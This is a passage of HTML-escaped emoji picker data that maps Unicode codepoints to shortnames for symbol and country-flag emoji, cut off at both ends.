uot;,shortnames:[&quot;underage&quot;]},{unified:&quot;2622-FE0F&quot;,shortnames:[&quot;radioactive_sign&quot;]},{unified:&quot;2623-FE0F&quot;,shortnames:[&quot;biohazard_sign&quot;]},{unified:&quot;2B06-FE0F&quot;,shortnames:[&quot;arrow_up&quot;]},{unified:&quot;2197-FE0F&quot;,shortnames:[&quot;arrow_upper_right&quot;]},{unified:&quot;27A1-FE0F&quot;,shortnames:[&quot;arrow_right&quot;]},{unified:&quot;2198-FE0F&quot;,shortnames:[&quot;arrow_lower_right&quot;]},{unified:&quot;2B07-FE0F&quot;,shortnames:[&quot;arrow_down&quot;]},{unified:&quot;2199-FE0F&quot;,shortnames:[&quot;arrow_lower_left&quot;]},{unified:&quot;2B05-FE0F&quot;,shortnames:[&quot;arrow_left&quot;]},{unified:&quot;2196-FE0F&quot;,shortnames:[&quot;arrow_upper_left&quot;]},{unified:&quot;2195-FE0F&quot;,shortnames:[&quot;arrow_up_down&quot;]},{unified:&quot;2194-FE0F&quot;,shortnames:[&quot;left_right_arrow&quot;]},{unified:&quot;21A9-FE0F&quot;,shortnames:[&quot;leftwards_arrow_with_hook&quot;]},{unified:&quot;21AA-FE0F&quot;,shortnames:[&quot;arrow_right_hook&quot;]},{unified:&quot;2934-FE0F&quot;,shortnames:[&quot;arrow_heading_up&quot;]},{unified:&quot;2935-FE0F&quot;,shortnames:[&quot;arrow_heading_down&quot;]},{unified:&quot;1F503&quot;,shortnames:[&quot;arrows_clockwise&quot;]},{unified:&quot;1F504&quot;,shortnames:[&quot;arrows_counterclockwise&quot;]},{unified:&quot;1F519&quot;,shortnames:[&quot;back&quot;]},{unified:&quot;1F51A&quot;,shortnames:[&quot;end&quot;]},{unified:&quot;1F51B&quot;,shortnames:[&quot;on&quot;]},{unified:&quot;1F51C&quot;,shortnames:[&quot;soon&quot;]},{unified:&quot;1F51D&quot;,shortnames:[&quot;top&quot;]},{unified:&quot;1F6D0&quot;,shortnames:[&quot;place_of_worship&quot;]},{unified:&quot;269B-FE0F&quot;,shortnames:[&quot;atom_symbol&quot;]},{unified:&quot;1F549-FE0F&quot;,shortnames:[&quot;om_symbol&quot;]},{unified:&quot;2721-FE0F&quot;,shortnames:[&quot;star_of_david&quot;]},{unified:&quot;2638-FE0F&quot;,shortnames:[&quot;wheel_of_dharma&quot;]},{unified:&quot;262F-FE0F&quot;,shortnames:[&quot;yin_yang&quot;]},{unified:&quot;271D-FE0F&quot;,shortnames:[&quot;latin_cross&quot;]},{unified:&quot;2626-FE0F&quot;,shortnames:[&quot;orthodox_cross&quot;]},{unified:&quot;262A-FE0F&quot;,shortnames:[&quot;star_and_crescent&quot;]},{unified:&quot;262E-FE0F&quot;,shortnames:[&quot;peace_symbol&quot;]},{unified:&quot;1F54E&quot;,shortnames:[&quot;menorah_with_nine_branches&quot;]},{unified:&quot;1F52F&quot;,shortnames:[&quot;six_pointed_star&quot;]},{unified:&quot;2648&quot;,shortnames:[&quot;aries&quot;]},{unified:&quot;2649&quot;,shortnames:[&quot;taurus&quot;]},{unified:&quot;264A&quot;,shortnames:[&quot;gemini&quot;]},{unified:&quot;264B&quot;,shortnames:[&quot;cancer&quot;]},{unified:&quot;264C&quot;,shortnames:[&quot;leo&quot;]},{unified:&quot;264D&quot;,shortnames:[&quot;virgo&quot;]},{unified:&quot;264E&quot;,shortnames:[&quot;libra&quot;]},{unified:&quot;264F&quot;,shortnames:[&quot;scorpius&quot;]},{unified:&quot;2650&quot;,shortnames:[&quot;sagittarius&quot;]},{unified:&quot;2651&quot;,shortnames:[&quot;capricorn&quot;]},{unified:&quot;2652&quot;,shortnames:[&quot;aquarius&quot;]},{unified:&quot;2653&quot;,shortnames:[&quot;pisces&quot;]},{unified:&quot;26CE&quot;,shortnames:[&quot;ophiuchus&quot;]},{unified:&quot;1F500&quot;,shortnames:[&quot;twisted_rightwards_arrows&quot;]},{unified:&quot;1F501&quot;,shortnames:[&quot;repeat&quot;]},{unified:&quot;1F502&quot;,shortnames:[&quot;repeat_one&quot;]},{unified:&quot;25B6-FE0F&quot;,shortnames:[&quot;arrow_forward&quot;]},{unified:&quot;23E9&quot;,shortnames:[&quot;fast_forward&quot;]},{unified:&quot;23ED-FE0F&quot;,shortnames:[&quot;black_right_pointing_double_triangle_with_vertical_bar&quot;]},{unified:&quot;23EF-FE0F&quot;,shortnames:[&quot;black_right_pointing_triangle_with_double_vertical_bar&quot;]},{unified:&quot;25C0-FE0F&quot;,shortnames:[&quot;arrow_backward&quot;]},{unified:&quot;23EA&quot;,shortnames:[&quot;rewind&quot;]},{unified:&quot;23EE-FE0F&quot;,shortnames:[&quot;black_left_pointing_double_triangle_with_vertical_bar&quot;]},{unified:&quot;1F53C&quot;,shortnames:[&quot;arrow_up_small&quot;]},{unified:&quot;23EB&quot;,shortnames:[&quot;arrow_double_up&quot;]},{unified:&quot;1F53D&quot;,shortnames:[&quot;arrow_down_small&quot;]},{unified:&quot;23EC&quot;,shortnames:[&quot;arrow_double_down&quot;]},{unified:&quot;23F8-FE0F&quot;,shortnames:[&quot;double_vertical_bar&quot;]},{unified:&quot;23F9-FE0F&quot;,shortnames:[&quot;black_square_for_stop&quot;]},{unified:&quot;23FA-FE0F&quot;,shortnames:[&quot;black_circle_for_record&quot;]},{unified:&quot;23CF-FE0F&quot;,shortnames:[&quot;eject&quot;]},{unified:&quot;1F3A6&quot;,shortnames:[&quot;cinema&quot;]},{unified:&quot;1F505&quot;,shortnames:[&quot;low_brightness&quot;]},{unified:&quot;1F506&quot;,shortnames:[&quot;high_brightness&quot;]},{unified:&quot;1F4F6&quot;,shortnames:[&quot;signal_strength&quot;]},{unified:&quot;1F4F3&quot;,shortnames:[&quot;vibration_mode&quot;]},{unified:&quot;1F4F4&quot;,shortnames:[&quot;mobile_phone_off&quot;]},{unified:&quot;2640-FE0F&quot;,shortnames:[&quot;female_sign&quot;]},{unified:&quot;2642-FE0F&quot;,shortnames:[&quot;male_sign&quot;]},{unified:&quot;26A7-FE0F&quot;,shortnames:[&quot;transgender_symbol&quot;]},{unified:&quot;2716-FE0F&quot;,shortnames:[&quot;heavy_multiplication_x&quot;]},{unified:&quot;2795&quot;,shortnames:[&quot;heavy_plus_sign&quot;]},{unified:&quot;2796&quot;,shortnames:[&quot;heavy_minus_sign&quot;]},{unified:&quot;2797&quot;,shortnames:[&quot;heavy_division_sign&quot;]},{unified:&quot;267E-FE0F&quot;,shortnames:[&quot;infinity&quot;]},{unified:&quot;203C-FE0F&quot;,shortnames:[&quot;bangbang&quot;]},{unified:&quot;2049-FE0F&quot;,shortnames:[&quot;interrobang&quot;]},{unified:&quot;2753&quot;,shortnames:[&quot;question&quot;]},{unified:&quot;2754&quot;,shortnames:[&quot;grey_question&quot;]},{unified:&quot;2755&quot;,shortnames:[&quot;grey_exclamation&quot;]},{unified:&quot;2757&quot;,shortnames:[&quot;exclamation&quot;]},{unified:&quot;3030-FE0F&quot;,shortnames:[&quot;wavy_dash&quot;]},{unified:&quot;1F4B1&quot;,shortnames:[&quot;currency_exchange&quot;]},{unified:&quot;1F4B2&quot;,shortnames:[&quot;heavy_dollar_sign&quot;]},{unified:&quot;2695-FE0F&quot;,shortnames:[&quot;medical_symbol&quot;]},{unified:&quot;267B-FE0F&quot;,shortnames:[&quot;recycle&quot;]},{unified:&quot;269C-FE0F&quot;,shortnames:[&quot;fleur_de_lis&quot;]},{unified:&quot;1F531&quot;,shortnames:[&quot;trident&quot;]},{unified:&quot;1F4DB&quot;,shortnames:[&quot;name_badge&quot;]},{unified:&quot;1F530&quot;,shortnames:[&quot;beginner&quot;]},{unified:&quot;2B55&quot;,shortnames:[&quot;o&quot;]},{unified:&quot;2705&quot;,shortnames:[&quot;white_check_mark&quot;]},{unified:&quot;2611-FE0F&quot;,shortnames:[&quot;ballot_box_with_check&quot;]},{unified:&quot;2714-FE0F&quot;,shortnames:[&quot;heavy_check_mark&quot;]},{unified:&quot;274C&quot;,shortnames:[&quot;x&quot;]},{unified:&quot;274E&quot;,shortnames:[&quot;negative_squared_cross_mark&quot;]},{unified:&quot;27B0&quot;,shortnames:[&quot;curly_loop&quot;]},{unified:&quot;27BF&quot;,shortnames:[&quot;loop&quot;]},{unified:&quot;303D-FE0F&quot;,shortnames:[&quot;part_alternation_mark&quot;]},{unified:&quot;2733-FE0F&quot;,shortnames:[&quot;eight_spoked_asterisk&quot;]},{unified:&quot;2734-FE0F&quot;,shortnames:[&quot;eight_pointed_black_star&quot;]},{unified:&quot;2747-FE0F&quot;,shortnames:[&quot;sparkle&quot;]},{unified:&quot;00A9-FE0F&quot;,shortnames:[&quot;copyright&quot;]},{unified:&quot;00AE-FE0F&quot;,shortnames:[&quot;registered&quot;]},{unified:&quot;2122-FE0F&quot;,shortnames:[&quot;tm&quot;]},{unified:&quot;0023-FE0F-20E3&quot;,shortnames:[&quot;hash&quot;]},{unified:&quot;002A-FE0F-20E3&quot;,shortnames:[&quot;keycap_star&quot;]},{unified:&quot;0030-FE0F-20E3&quot;,shortnames:[&quot;zero&quot;]},{unified:&quot;0031-FE0F-20E3&quot;,shortnames:[&quot;one&quot;]},{unified:&quot;0032-FE0F-20E3&quot;,shortnames:[&quot;two&quot;]},{unified:&quot;0033-FE0F-20E3&quot;,shortnames:[&quot;three&quot;]},{unified:&quot;0034-FE0F-20E3&quot;,shortnames:[&quot;four&quot;]},{unified:&quot;0035-FE0F-20E3&quot;,shortnames:[&quot;five&quot;]},{unified:&quot;0036-FE0F-20E3&quot;,shortnames:[&quot;six&quot;]},{unified:&quot;0037-FE0F-20E3&quot;,shortnames:[&quot;seven&quot;]},{unified:&quot;0038-FE0F-20E3&quot;,shortnames:[&quot;eight&quot;]},{unified:&quot;0039-FE0F-20E3&quot;,shortnames:[&quot;nine&quot;]},{unified:&quot;1F51F&quot;,shortnames:[&quot;keycap_ten&quot;]},{unified:&quot;1F520&quot;,shortnames:[&quot;capital_abcd&quot;]},{unified:&quot;1F521&quot;,shortnames:[&quot;abcd&quot;]},{unified:&quot;1F522&quot;,shortnames:[&quot;1234&quot;]},{unified:&quot;1F523&quot;,shortnames:[&quot;symbols&quot;]},{unified:&quot;1F524&quot;,shortnames:[&quot;abc&quot;]},{unified:&quot;1F170-FE0F&quot;,shortnames:[&quot;a&quot;]},{unified:&quot;1F18E&quot;,shortnames:[&quot;ab&quot;]},{unified:&quot;1F171-FE0F&quot;,shortnames:[&quot;b&quot;]},{unified:&quot;1F191&quot;,shortnames:[&quot;cl&quot;]},{unified:&quot;1F192&quot;,shortnames:[&quot;cool&quot;]},{unified:&quot;1F193&quot;,shortnames:[&quot;free&quot;]},{unified:&quot;2139-FE0F&quot;,shortnames:[&quot;information_source&quot;]},{unified:&quot;1F194&quot;,shortnames:[&quot;id&quot;]},{unified:&quot;24C2-FE0F&quot;,shortnames:[&quot;m&quot;]},{unified:&quot;1F195&quot;,shortnames:[&quot;new&quot;]},{unified:&quot;1F196&quot;,shortnames:[&quot;ng&quot;]},{unified:&quot;1F17E-FE0F&quot;,shortnames:[&quot;o2&quot;]},{unified:&quot;1F197&quot;,shortnames:[&quot;ok&quot;]},{unified:&quot;1F17F-FE0F&quot;,shortnames:[&quot;parking&quot;]},{unified:&quot;1F198&quot;,shortnames:[&quot;sos&quot;]},{unified:&quot;1F199&quot;,shortnames:[&quot;up&quot;]},{unified:&quot;1F19A&quot;,shortnames:[&quot;vs&quot;]},{unified:&quot;1F201&quot;,shortnames:[&quot;koko&quot;]},{unified:&quot;1F202-FE0F&quot;,shortnames:[&quot;sa&quot;]},{unified:&quot;1F237-FE0F&quot;,shortnames:[&quot;u6708&quot;]},{unified:&quot;1F236&quot;,shortnames:[&quot;u6709&quot;]},{unified:&quot;1F22F&quot;,shortnames:[&quot;u6307&quot;]},{unified:&quot;1F250&quot;,shortnames:[&quot;ideograph_advantage&quot;]},{unified:&quot;1F239&quot;,shortnames:[&quot;u5272&quot;]},{unified:&quot;1F21A&quot;,shortnames:[&quot;u7121&quot;]},{unified:&quot;1F232&quot;,shortnames:[&quot;u7981&quot;]},{unified:&quot;1F251&quot;,shortnames:[&quot;accept&quot;]},{unified:&quot;1F238&quot;,shortnames:[&quot;u7533&quot;]},{unified:&quot;1F234&quot;,shortnames:[&quot;u5408&quot;]},{unified:&quot;1F233&quot;,shortnames:[&quot;u7a7a&quot;]},{unified:&quot;3297-FE0F&quot;,shortnames:[&quot;congratulations&quot;]},{unified:&quot;3299-FE0F&quot;,shortnames:[&quot;secret&quot;]},{unified:&quot;1F23A&quot;,shortnames:[&quot;u55b6&quot;]},{unified:&quot;1F235&quot;,shortnames:[&quot;u6e80&quot;]},{unified:&quot;1F534&quot;,shortnames:[&quot;red_circle&quot;]},{unified:&quot;1F7E0&quot;,shortnames:[&quot;large_orange_circle&quot;]},{unified:&quot;1F7E1&quot;,shortnames:[&quot;large_yellow_circle&quot;]},{unified:&quot;1F7E2&quot;,shortnames:[&quot;large_green_circle&quot;]},{unified:&quot;1F535&quot;,shortnames:[&quot;large_blue_circle&quot;]},{unified:&quot;1F7E3&quot;,shortnames:[&quot;large_purple_circle&quot;]},{unified:&quot;1F7E4&quot;,shortnames:[&quot;large_brown_circle&quot;]},{unified:&quot;26AB&quot;,shortnames:[&quot;black_circle&quot;]},{unified:&quot;26AA&quot;,shortnames:[&quot;white_circle&quot;]},{unified:&quot;1F7E5&quot;,shortnames:[&quot;large_red_square&quot;]},{unified:&quot;1F7E7&quot;,shortnames:[&quot;large_orange_square&quot;]},{unified:&quot;1F7E8&quot;,shortnames:[&quot;large_yellow_square&quot;]},{unified:&quot;1F7E9&quot;,shortnames:[&quot;large_green_square&quot;]},{unified:&quot;1F7E6&quot;,shortnames:[&quot;large_blue_square&quot;]},{unified:&quot;1F7EA&quot;,shortnames:[&quot;large_purple_square&quot;]},{unified:&quot;1F7EB&quot;,shortnames:[&quot;large_brown_square&quot;]},{unified:&quot;2B1B&quot;,shortnames:[&quot;black_large_square&quot;]},{unified:&quot;2B1C&quot;,shortnames:[&quot;white_large_square&quot;]},{unified:&quot;25FC-FE0F&quot;,shortnames:[&quot;black_medium_square&quot;]},{unified:&quot;25FB-FE0F&quot;,shortnames:[&quot;white_medium_square&quot;]},{unified:&quot;25FE&quot;,shortnames:[&quot;black_medium_small_square&quot;]},{unified:&quot;25FD&quot;,shortnames:[&quot;white_medium_small_square&quot;]},{unified:&quot;25AA-FE0F&quot;,shortnames:[&quot;black_small_square&quot;]},{unified:&quot;25AB-FE0F&quot;,shortnames:[&quot;white_small_square&quot;]},{unified:&quot;1F536&quot;,shortnames:[&quot;large_orange_diamond&quot;]},{unified:&quot;1F537&quot;,shortnames:[&quot;large_blue_diamond&quot;]},{unified:&quot;1F538&quot;,shortnames:[&quot;small_orange_diamond&quot;]},{unified:&quot;1F539&quot;,shortnames:[&quot;small_blue_diamond&quot;]},{unified:&quot;1F53A&quot;,shortnames:[&quot;small_red_triangle&quot;]},{unified:&quot;1F53B&quot;,shortnames:[&quot;small_red_triangle_down&quot;]},{unified:&quot;1F4A0&quot;,shortnames:[&quot;diamond_shape_with_a_dot_inside&quot;]},{unified:&quot;1F518&quot;,shortnames:[&quot;radio_button&quot;]},{unified:&quot;1F533&quot;,shortnames:[&quot;white_square_button&quot;]},{unified:&quot;1F532&quot;,shortnames:[&quot;black_square_button&quot;]}]},{name:&quot;Flags&quot;,emojis:[{unified:&quot;1F3C1&quot;,shortnames:[&quot;checkered_flag&quot;]},{unified:&quot;1F6A9&quot;,shortnames:[&quot;triangular_flag_on_post&quot;]},{unified:&quot;1F38C&quot;,shortnames:[&quot;crossed_flags&quot;]},{unified:&quot;1F3F4&quot;,shortnames:[&quot;waving_black_flag&quot;]},{unified:&quot;1F3F3-FE0F&quot;,shortnames:[&quot;waving_white_flag&quot;]},{unified:&quot;1F3F3-FE0F-200D-1F308&quot;,shortnames:[&quot;rainbow-flag&quot;]},{unified:&quot;1F3F3-FE0F-200D-26A7-FE0F&quot;,shortnames:[&quot;transgender_flag&quot;]},{unified:&quot;1F3F4-200D-2620-FE0F&quot;,shortnames:[&quot;pirate_flag&quot;]},{unified:&quot;1F1E6-1F1E8&quot;,shortnames:[&quot;flag-ac&quot;]},{unified:&quot;1F1E6-1F1E9&quot;,shortnames:[&quot;flag-ad&quot;]},{unified:&quot;1F1E6-1F1EA&quot;,shortnames:[&quot;flag-ae&quot;]},{unified:&quot;1F1E6-1F1EB&quot;,shortnames:[&quot;flag-af&quot;]},{unified:&quot;1F1E6-1F1EC&quot;,shortnames:[&quot;flag-ag&quot;]},{unified:&quot;1F1E6-1F1EE&quot;,shortnames:[&quot;flag-ai&quot;]},{unified:&quot;1F1E6-1F1F1&quot;,shortnames:[&quot;flag-al&quot;]},{unified:&quot;1F1E6-1F1F2&quot;,shortnames:[&quot;flag-am&quot;]},{unified:&quot;1F1E6-1F1F4&quot;,shortnames:[&quot;flag-ao&quot;]},{unified:&quot;1F1E6-1F1F6&quot;,shortnames:[&quot;flag-aq&quot;]},{unified:&quot;1F1E6-1F1F7&quot;,shortnames:[&quot;flag-ar&quot;]},{unified:&quot;1F1E6-1F1F8&quot;,shortnames:[&quot;flag-as&quot;]},{unified:&quot;1F1E6-1F1F9&quot;,shortnames:[&quot;flag-at&quot;]},{unified:&quot;1F1E6-1F1FA&quot;,shortnames:[&quot;flag-au&quot;]},{unified:&quot;1F1E6-1F1FC&quot;,shortnames:[&quot;flag-aw&quot;]},{unified:&quot;1F1E6-1F1FD&quot;,shortnames:[&quot;flag-ax&quot;]},{unified:&quot;1F1E6-1F1FF&quot;,shortnames:[&quot;flag-az&quot;]},{unified:&quot;1F1E7-1F1E6&quot;,shortnames:[&quot;flag-ba&quot;]},{unified:&quot;1F1E7-1F1E7&quot;,shortnames:[&quot;flag-bb&quot;]},{unified:&quot;1F1E7-1F1E9&quot;,shortnames:[&quot;flag-bd&quot;]},{unified:&quot;1F1E7-1F1EA&quot;,shortnames:[&quot;flag-be&quot;]},{unified:&quot;1F1E7-1F1EB&quot;,shortnames:[&quot;flag-bf&quot;]},{unified:&quot;1F1E7-1F1EC&quot;,shortnames:[&quot;flag-bg&quot;]},{unified:&quot;1F1E7-1F1ED&quot;,shortnames:[&quot;flag-bh&quot;]},{unified:&quot;1F1E7-1F1EE&quot;,shortnames:[&quot;flag-bi&quot;]},{unified:&quot;1F1E7-1F1EF&quot;,shortnames:[&quot;flag-bj&quot;]},{unified:&quot;1F1E7-1F1F1&quot;,shortnames:[&quot;flag-bl&quot;]},{unified:&quot;1F1E7-1F1F2&quot;,shortnames:[&quot;flag-bm&quot;]},{unified:&quot;1F1E7-1F1F3&quot;,shortnames:[&quot;flag-bn&quot;]},{unified:&quot;1F1E7-1F1F4&quot;,shortnames:[&quot;flag-bo&quot;]},{unified:&quot;1F1E7-1F1F6&quot;,shortnames:[&quot;flag-bq&quot;]},{unified:&quot;1F1E7-1F1F7&quot;,shortnames:[&quot;flag-br&quot;]},{unified:&quot;1F1E7-1F1F8&quot;,shortnames:[&quot;flag-bs&quot;]},{unified:&quot;1F1E7-1F1F9&quot;,shortnames:[&quot;flag-bt&quot;]},{unified:&quot;1F1E7-1F1FB&quot;,shortnames:[&quot;flag-bv&quot;]},{unified:&quot;1F1E7-1F1FC&quot;,shortnames:[&quot;flag-bw&quot;]},{unified:&quot;1F1E7-1F1FE&quot;,shortnames:[&quot;flag-by&quot;]},{unified:&quot;1F1E7-1F1FF&quot;,shortnames:[&quot;flag-bz&quot;]},{unified:&quot;1F1E8-1F1E6&quot;,shortnames:[&quot;flag-ca&quot;]},{unified:&quot;1F1E8-1F1E8&quot;,shortnames:[&quot;flag-cc&quot;]},{unified:&quot;1F1E8-1F1E9&quot;,shortnames:[&quot;flag-cd&quot;]},{unified:&quot;1F1E8-1F1EB&quot;,shortnames:[&quot;flag-cf&quot;]},{unified:&quot;1F1E8-1F1EC&quot;,shortnames:[&quot;flag-cg&quot;]},{unified:&quot;1F1E8-1F1ED&quot;,shortnames:[&quot;flag-ch&quot;]},{unified:&quot;1F1E8-1F1EE&quot;,shortnames:[&quot;flag-ci&quot;]},{unified:&quot;1F1E8-1F1F0&quot;,shortnames:[&quot;flag-ck&quot;]},{unified:&quot;1F1E8-1F1F1&quot;,shortnames:[&quot;flag-cl&quot;]},{unified:&quot;1F1E8-1F1F2&quot;,shortnames:[&quot;flag-cm&quot;]},{unified:&quot;1F1E8-1F1F3&quot;,shortnames:[&quot;cn&quot;]},{unified:&quot;1F1E8-1F1F4&quot;,shortnames:[&quot;flag-co&quot;]},{unified:&quot;1F1E8-1F1F5&quot;,shortnames:[&quot;flag-cp&quot;]},{unified:&quot;1F1E8-1F1F7&quot;,shortnames:[&quot;flag-cr&quot;]},{unified:&quot;1F1E8-1F1FA&quot;,shortnames:[&quot;flag-cu&quot;]},{unified:&quot;1F1E8-1F1FB&quot;,shortnames:[&quot;flag-cv&quot;]},{unified:&quot;1F1E8-1F1FC&quot;,shortnames:[&quot;flag-cw&quot;]},{unified:&quot;1F1E8-1F1FD&quot;,shortnames:[&quot;flag-cx&quot;]},{unified:&quot;1F1E8-1F1FE&quot;,shortnames:[&quot;flag-cy&quot;]},{unified:&quot;1F1E8-1F1FF&quot;,shortnames:[&quot;flag-cz&quot;]},{unified:&quot;1F1E9-1F1EA&quot;,shortnames:[&quot;de&quot;]},{unified:&quot;1F1E9-1F1EC&quot;,shortnames:[&quot;flag-dg&quot;]},{unified:&quot;1F1E9-1F1EF&quot;,shortnames:[&quot;flag-dj&quot;]},{unified:&quot;1F1E9-1F1F0&quot;,shortnames:[&quot;flag-dk&quot;]},{unified:&quot;1F1E9-1F1F2&quot;,shortnames:[&quot;flag-dm&quot;]},{unified:&quot;1F1E9-1F1F4&quot;,shortnames:[&quot;flag-do&quot;]},{unified:&quot;1F1E9-1F1FF&quot;,shortnames:[&quot;flag-dz&quot;]},{unified:&quot;1F1EA-1F1E6&quot;,shortnames:[&quot;flag-ea&quot;]},{unified:&quot;1F1EA-1F1E8&quot;,shortnames:[&quot;flag-ec&quot;]},{unified:&quot;1F1EA-1F1EA&quot;,shortnames:[&quot;flag-ee&quot;]},{unified:&quot;1F1EA-1F1EC&quot;,shortnames:[&quot;flag-eg&quot;]},{unified:&quot;1F1EA-1F1ED&quot;,shortnames:[&quot;flag-eh&quot;]},{unified:&quot;1F1EA-1F1F7&quot;,shortnames:[&quot;flag-er&quot;]},{unified:&quot;1F1EA-1F1F8&quot;,shortnames:[&quot;es&quot;]},{unified:&quot;1F1EA-1F1F9&quot;,shortnames:[&quot;flag-et&quot;]},{unified:&quot;1F1EA-1F1FA&quot;,shortnames:[&quot;flag-eu&quot;]},{unified:&quot;1F1EB-1F1EE&quot;,shortnames:[&quot;flag-fi&quot;]},{unified:&quot;1F1EB-1F1EF&quot;,shortnames:[&quot;flag-fj&quot;]},{unified:&quot;1F1EB-1F1F0&quot;,shortnames:[&quot;flag-fk&quot;]},{unified:&quot;1F1EB-1F1F2&quot;,shortnames:[&quot;flag-fm&quot;]},{unified:&quot;1F1EB-1F1F4&quot;,shortnames:[&quot;flag-fo&quot;]},{unified:&quot;1F1EB-1F1F7&quot;,shortnames:[&quot;fr&quot;]},{unified:&quot;1F1EC-1F1E6&quot;,shortnames:[&quot;flag-ga&quot;]},{unified:&quot;1F1EC-1F1E7&quot;,shortnames:[&quot;gb&quot;]},{unified:&quot;1F1EC-1F1E9&quot;,shortnames:[&quot;flag-gd&quot;]},{unified:&quot;1F1EC-1F1EA&quot;,shortnames:[&quot;flag-ge&quot;]},{unified:&quot;1F1EC-1F1EB&quot;,shortnames:[&quot;flag-gf&quot;]},{unified:&quot;1F1EC-1F1EC&quot;,shortnames:[&quot;flag-gg&quot;]},{unified:&quot;1F1EC-1F1ED&quot;,shortnames:[&quot;flag-gh&quot;]},{unified:&quot;1F1EC-1F1EE&quot;,shortnames:[&quot;flag-gi&quot;]},{unified:&quot;1F1EC-1F1F1&quot;,shortnames:[&quot;flag-gl&quot;]},{unified:&quot;1F1EC-1F1F2&quot;,shortnames:[&quot;flag-gm&quot;]},{unified:&quot;1F1EC-1F1F3&quot;,shortnames:[&quot;flag-gn&quot;]},{unified:&quot;1F1EC-1F1F5&quot;,shortnames:[&quot;flag-gp&quot;]},{unified:&quot;1F1EC-1F1F6&quot;,shortnames:[&quot;flag-gq&quot;]},{unified:&quot;1F1EC-1F1F7&quot;,shortnames:[&quot;flag-gr&quot;]},{unified:&quot;1F1EC-1F1F8&quot;,shortnames:[&quot;flag-gs&quot;]},{unified:&quot;1F1EC-1F1F9&quot;,shortnames:[&quot;flag-gt&quot;]},{unified:&quot;1F1EC-1F1FA&quot;,shortnames:[&quot;flag-gu&quot;]},{unified:&quot;1F1EC-1F1FC&quot;,shortnames:[&quot;flag-gw&quot;]},{unified:&quot;1F1EC-1F1FE&quot;,shortnames:[&quot;flag-gy&quot;]},{unified:&quot;1F1ED-1F1F0&quot;,shortnames:[&quot;flag-hk&quot;]},{unified:&quot;1F1ED-1F1F2&quot;,shortnames:[&quot;flag-hm&quot;]},{unified:&quot;1F1ED-1F1F3&quot;,shortnames:[&quot;flag-hn&quot;]},{unified:&quot;1F1ED-1F1F7&quot;,shortnames:[&quot;flag-hr&quot;]},{unified:&quot;1F1ED-1F1F9&quot;,shortnames:[&quot;flag-ht&quot;]},{unified:&quot;1F1ED-1F1FA&quot;,shortnames:[&quot;flag-hu&quot;]},{unified:&quot;1F1EE-1F1E8&quot;,shortnames:[&quot;flag-ic&quot;]},{unified:&quot;1F1EE-1F1E9&quot;,shortnames:[&quot;flag-id&quot;]},{unified:&quot;1F1EE-1F1EA&quot;,shortnames:[&quot;flag-ie&quot;]},{unified:&quot;1F1EE-1F1F1&quot;,shortnames:[&quot;flag-il&quot;]},{unified:&quot;1F1EE-1F1F2&quot;,shortnames:[&quot;flag-im&quot;]},{unified:&quot;1F1EE-1F1F3&quot;,shortnames:[&quot;flag-in&quot;]},{unified:&quot;1F1EE-1F1F4&quot;,shortnames:[&quot;flag-io&quot;]},{unified:&quot;1F1EE-1F1F6&quot;,shortnames:[&quot;flag-iq&quot;]},{unified:&quot;1F1EE-1F1F7&quot;,shortnames:[&quot;flag-ir&quot;]},{unified:&quot;1F1EE-1F1F8&quot;,shortnames:[&quot;flag-is&quot;]},{unified:&quot;1F1EE-1F1F9&quot;,shortnames:[&quot;it&quot;]},{unified:&quot;1F1EF-1F1EA&quot;,shortnames:[&quot;flag-je&quot;]},{unified:&quot;1F1EF-1F1F2&quot;,shortnames:[&quot;flag-jm&quot;]},{unified:&quot;1F1EF-1F1F4&quot;,shortnames:[&quot;flag-jo&quot;]},{unified:&quot;1F1EF-1F1F5&quot;,shortnames:[&quot;jp&quot;]},{unified:&quot;1F1F0-1F1EA&quot;,shortnames:[&quot;flag-ke&quot;]},{unified:&quot;1F1F0-1F1EC&quot;,shortnames:[&quot;flag-kg&quot;]},{unified:&quot;1F1F0-1F1ED&quot;,shortnames:[&quot;flag-kh&quot;]},{unified:&quot;1F1F0-1F1EE&quot;,shortnames:[&quot;flag-ki&quot;]},{unified:&quot;1F1F0-1F1F2&quot;,shortnames:[&quot;flag-km&quot;]},{unified:&quot;1F1F0-1F1F3&quot;,shortnames:[&quot;flag-kn&quot;]},{unified:&quot;1F1F0-1F1F5&quot;,shortnames:[&quot;flag-kp&quot;]},{unified:&quot;1F1F0-1F1F7&quot;,shortnames:[&quot;kr&quot;]},{unified:&quot;1F1F0-1F1FC&quot;,shortnames:[&quot;flag-kw&quot;]},{unified:&quot;1F1F0-1F1FE&quot;,shortnames:[&quot;flag-ky&quot;]},{unified:&quot;1F1F0-1F1FF&quot;,shortnames:[&quot;flag-kz&quot;]},{unified:&quot;1F1F1-1F1E6&quot;,shortnames:[&quot;flag-la&quot;]},{unified:&quot;1F1F1-1F1E7&quot;,shortnames:[&quot;flag-lb&quot;]},{unified:&quot;1F1F1-1F1E8&quot;,shortnames:[&quot;flag-lc&quot;]},{unified:&quot;1F1F1-1F1EE&quot;,shortnames:[&quot;flag-li&quot;]},{unified:&quot;1F1F1-1F1F0&quot;,shortnames:[&quot;flag-lk&quot;]},{unified:&quot;1F1F1-1F1F7&quot;,shortnames:[&quot;flag-lr&quot;]},{unified:&quot;1F1F1-1F1F8&quot;,shortnames:[&quot;flag-ls&quot;]},{unified:&quot;1F1F1-1F1F9&quot;,shortnames:[&quot;flag-lt&quot;]},{unified:&quot;1F1F1-1F1FA&quot;,shortnames:[&quot;flag-lu&quot;]},{unified:&quot;1F1F1-1F1FB&quot;,shortnames:[&quot;flag-lv&quot;]},{unified:&quot;1F1F1-1F1FE&quot;,shortnames:[&quot;flag-ly&quot;]},{unified:&quot;1F1F2-1F1E6&quot;,shortnames:[&quot;flag-ma&quot;]},{unified:&quot;1F1F2-1F1E8&quot;,shortnames:[&quot;flag-mc&quot;]},{unified:&quot;1F1F2-1F1E9&quot;,shortnames:[&quot;flag-md&quot;]},{unified:&quot;1F1F2-1F1EA&quot;,shortnames:[&quot;flag-me&quot;]},{unified:&quot;1F1F2-1F1EB&quot;,shortnames:[&quot;flag-mf&quot;]},{unified:&quot;1F1F2-1F1EC&quot;,shortnames:[&quot;flag-mg&quot;]},{unified:&quot;1F1F2-1F1ED&quot;,shortnames:[&quot;flag-mh&quot;]},{unified:&quot;1F1F2-1F1F0&quot;,shortnames:[&quot;flag-mk&quot;]},{unified:&quot;1F1F2-1F1F1&quot;,shortnames:[&quot;flag-ml&quot;]},{unified:&quot;1F1F2-1F1F2&quot;,shortnames:[&quot;flag-mm&quot;]},{unified:&quot;1F1F2-1F1F3&quot;,shortnames:[&quot;flag-mn&quot;]},{unified:&quot;1F1F2-1F1F4&quot;,shortnames: